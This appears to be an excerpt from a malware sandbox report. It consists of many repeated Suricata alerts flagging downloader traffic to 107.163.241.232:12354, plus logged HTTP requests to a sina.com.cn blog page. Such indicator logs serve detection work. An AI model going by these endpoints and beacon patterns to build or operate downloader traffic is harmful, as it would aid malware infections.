Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50311 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:64727 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:52682 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:56888 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:58207 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:58184 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:59076 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50179 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:60988 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:59568 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50388 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:53200 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:63160 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:58104 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:53424 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:59031 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:54703 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:63230 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:62276 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:51750 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:57995 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:58925 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:65078 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50319 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:64191 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50935 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:62016 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49507 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:54705 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:58181 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:52733 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:63243 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:60990 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:56792 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:56590 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:60708 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:54680 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:64903 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:59001 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:59730 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49638 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:54842 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:53086 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:61933 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:51399 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:54905 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:52557 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:52068 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:55462 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49432 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:52849 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:56089 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:60430 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:63215 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:64138 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:55095 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:54224 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49731 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:65152 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:51800 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:64804 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49524 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:61444 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:60602 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:58012 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:51052 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50540 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:52868 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:56724 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:63134 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:56930 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:51379 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:65137 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:57067 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:62337 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:52871 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49314 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:60694 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:59530 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:57204 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:58030 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:55314 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:55365 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:54699 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:62583 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50430 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:54304 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:54806 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:63075 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:59628 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:51316 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:61786 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:59457 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:61642 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:52734 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:59714 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:61476 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50787 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:60644 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:61835 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:56040 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:56639 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:63056 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:64915 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:51452 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:61638 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:53356 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:55132 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:58515 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:64618 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:65434 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:60748 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:64945 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:59071 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:52865 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:61785 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:58867 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49214 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:61654 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:53913 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:54089 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:56768 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:60194 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:61096 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:64503 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:58066 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:64507 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:58062 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:65050 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:61582 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:51770 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:60128 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:51769 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:58739 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:61250 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:57925 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:63076 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:64687 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:51799 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:64881 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:51668 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:64884 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:53786 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:61253 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:64800 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:59341 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:58058 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:61296 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:52654 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:59142 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:65455 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:59278 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49366 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:63071 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:53933 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:61224 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:60387 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:51287 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:63169 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:60991 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:64505 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:59959 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:63052 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:53964 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:58064 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:51765 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:63057 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:64807 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:58209 -> 107.163.241.232:12354

Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
